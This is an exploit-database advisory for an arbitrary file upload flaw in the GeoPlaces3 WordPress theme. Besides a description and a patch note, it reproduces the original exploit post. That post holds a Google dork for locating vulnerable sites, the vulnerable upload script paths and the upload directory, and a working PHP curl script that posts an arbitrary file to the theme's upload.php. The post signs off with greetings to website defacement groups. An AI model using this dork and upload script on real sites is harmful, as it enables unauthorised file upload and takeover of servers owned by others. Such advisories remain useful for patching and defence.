Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility

vendor:

GeoPlaces3 Wordpress Theme

by:

Mdn_Newbie

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: GeoPlaces3 Wordpress Theme

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win 7 & Win 8.1

2015

WordPress Themes GeoPlaces3 – Arbitrary File Upload vulnerbility

A vulnerability exists in the GeoPlaces3 Wordpress theme which allows an attacker to upload arbitrary files to the server. This is due to the lack of proper validation of the uploaded file type in the upload.php and upload_3feb.php scripts. An attacker can exploit this vulnerability by sending a malicious file to the upload.php or upload_3feb.php script via a POST request.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update the GeoPlaces3 Wordpress theme to the latest version.

Source

Exploit-DB raw data:

##################################################################################

# Description : Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility
# Google Dork: inurl:/wp-content/themes/GeoPlaces3/
# Date: 23 August 2015
# Vendor Homepage: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme
# Tested on: Win 7 & Win 8.1
# Author: Mdn_Newbie | Gantengers Crew 
# https://forum.gantengers-crew.org/

##################################################################################

Exploit : wp-content/themes/GeoPlaces3/library/includes/upload.php
	  wp-content/themes/GeoPlaces3/library/includes/upload_3feb.php

Path 	: /wp-content/uploads/tmp/


<?php
 
$uploadfile="m.jpg";
$ch = 
curl_init("https://server/wp-content/themes/GeoPlaces3/library/includes/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>



WE ARE : SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php 

GREETS TO: Gantengers Crew - Indonesian Defacer - Indonesian Cyber Army - Defacer Tersakiti Team - Suram Crew - Surabaya BlackHat - AND All Moeslim Defacer